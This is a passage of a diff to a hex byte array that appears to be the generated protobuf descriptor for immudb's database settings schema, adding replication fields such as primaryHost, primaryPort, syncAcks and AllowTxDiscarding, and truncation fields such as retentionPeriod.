0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, - 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, - 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, - 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, - 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, - 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, - 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, - 0x6e, 0x67, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, - 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, + 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, + 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, + 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, + 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, + 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, - 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, - 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, - 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, - 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, - 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, - 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, - 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, - 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, - 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, + 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, + 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, + 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, + 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, + 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, + 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, + 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, + 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, + 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, + 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, - 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, - 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, - 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, + 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, - 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, - 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 